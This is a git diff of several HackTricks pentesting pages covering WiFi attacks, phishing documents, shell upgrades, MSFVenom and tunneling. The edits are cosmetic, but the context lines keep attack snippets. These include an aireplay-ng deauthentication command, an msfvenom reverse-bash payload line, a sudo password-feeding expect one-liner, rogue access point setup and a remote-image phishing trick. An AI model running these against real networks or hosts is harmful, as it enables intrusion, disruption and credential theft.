 * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -166,7 +166,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/pentesting-wifi/README.md

@@ -1,21 +1,21 @@
 # Pentesting Wifi
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -143,10 +143,10 @@ This tool automates **WPS/WEP/WPA-PSK** attacks. It will automatically:
 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
 ```
 
-* \-0 means deauthentication
+* -0 means deauthentication
 * 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
-* \-a 00:14:6C:7E:40:80 is the MAC address of the access point
-* \-c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work)
+* -a 00:14:6C:7E:40:80 is the MAC address of the access point
+* -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work)
 * ath0 is the interface name
 
 ### Disassociation Packets
@@ -310,7 +310,7 @@ So broken and unused nowdays. Just know that _**airgeddon**_ have a WEP option c
 
 ***
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -459,7 +459,7 @@ In **enterprise WiFi setups, you'll encounter various authentication methods**,
    * **PEAP-MSCHAPv2**: Often referred to as PEAP, it combines the vulnerable MSCHAPv2 challenge/response mechanism with a protective TLS tunnel.
    * **PEAP-EAP-TLS (or PEAP-TLS)**: Similar to EAP-TLS but initiates a TLS tunnel before exchanging certificates, offering an additional layer of security.
 
-You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
+You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
 
 ### Username Capture
 
@@ -486,7 +486,7 @@ EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typic
 
 Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user's true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user's identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user's home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user's true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.
 
-For more info check [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
+For more info check [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
 
 ### EAP-Bruteforce (password spray)
 
@@ -655,7 +655,7 @@ To understand this attacks I would recommend to read before the brief [WPA Enter
 
 **Using hostapd-wpe**
 
-`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) (download the python file inside _/etc/hostapd-wpe/_)
+`hostapd-wpe` needs a **configuration** file to work. To **automate** the generation if these configurations you could use [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd_launchpad) (download the python file inside _/etc/hostapd-wpe/_)
 
 ```bash
 ./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
@@ -831,7 +831,7 @@ These methods, particularly PIN entry, are susceptible to the same vulnerabiliti
 
 TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -847,15 +847,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/phishing-methodology/phishing-documents.md

@@ -1,15 +1,15 @@
 # Phishing Files & Documents
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -34,7 +34,7 @@ DOCX files referencing a remote template (File –Options –Add-ins –Manage:
 ### External Image Load
 
 Go to: _Insert --> Quick Parts --> Field_\
-_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
+&#xNAN;_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
 
 ![](<../../.gitbook/assets/image (155).png>)
 
@@ -179,15 +179,15 @@ Don't forget that you cannot only steal the hash or the authentication but also
 * [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/reverse-shells/full-ttys.md

@@ -1,20 +1,26 @@
 # Full TTYs
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
+<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+
+Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
+
+{% embed url="https://academy.8ksec.io/" %}
+
 ## Full TTY
 
 Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`.
@@ -115,6 +121,7 @@ ssh -p 8888 127.0.0.1
 # Bidirectional file transfer
 sftp -P 8888 127.0.0.1
 ```
+
 ## Penelope
 
 [Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells.
@@ -129,16 +136,24 @@ If for some reason you cannot obtain a full TTY you **still can interact with pr
 expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
 ```
 
+
+
+<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
+
+Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
+
+{% embed url="https://academy.8ksec.io/" %}
+
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/reverse-shells/msfvenom.md

@@ -1,21 +1,21 @@
 # MSFVenom - CheatSheet
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -235,7 +235,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
 ```
 {% endcode %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -251,15 +251,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

generic-methodologies-and-resources/tunneling-and-port-forwarding.md

@@ -1,15 +1,15 @@
 # Tunneling and Port Forwarding
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -128,7 +128,9 @@ For example, forwarding all the traffic going to 10.10.10.0/24
 pip install sshuttle
 sshuttle -r user@host 10.10.10.10/24
 ```
+
 Connect with a private key
+
 ```bash
 sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
 # -D : Daemon mode
@@ -197,9 +199,9 @@ rportfwd stop [bind port]
 
 To note:
 
-- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**.
-- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links.
-- **Admin privileges are not required** to create reverse port forwards on high ports.
+* Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**.
+* Traffic is **tunneled within Beacon's C2 traffic**, including P2P links.
+* **Admin privileges are not required** to create reverse port forwards on high ports.
 
 ### rPort2Port local
 
@@ -579,13 +581,14 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
 
 ## ngrok
 
-**[ngrok](https://ngrok.com/) is a tool to expose solutions to Internet in one command line.**  
-*Exposition URI are like:* **UID.ngrok.io**
+[**ngrok**](https://ngrok.com/) **is a tool to expose solutions to Internet in one command line.**\
+&#xNAN;_&#x45;xposition URI are like:_ **UID.ngrok.io**
 
 ### Installation
 
-- Create an account: https://ngrok.com/signup
-- Client download:
+* Create an account: https://ngrok.com/signup
+* Client download:
+
 ```bash
 tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
 chmod a+x ./ngrok
@@ -597,7 +600,7 @@ chmod a+x ./ngrok
 
 **Documentation:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
 
-*It is also possible to add authentication and TLS, if necessary.*
+_It is also possible to add authentication and TLS, if necessary._
 
 #### Tunneling TCP
 
@@ -618,7 +621,7 @@ chmod a+x ./ngrok
 
 #### Sniffing HTTP calls
 
-*Useful for XSS,SSRF,SSTI ...*  
+_Useful for XSS,SSRF,SSTI ..._\
 Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127.0.0.1:4000).
 
 #### Tunneling internal HTTP service
@@ -633,8 +636,9 @@ Directly from stdout or in the HTTP interface [http://127.0.0.1:4040](http://127
 #### ngrok.yaml simple configuration example
 
 It opens 3 tunnels:
-- 2 TCP
-- 1 HTTP with static files exposition from /tmp/httpbin/
+
+* 2 TCP
+* 1 HTTP with static files exposition from /tmp/httpbin/
 
 ```yaml
 tunnels:
@@ -655,15 +659,15 @@ tunnels:
 * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -9,13 +9,13 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
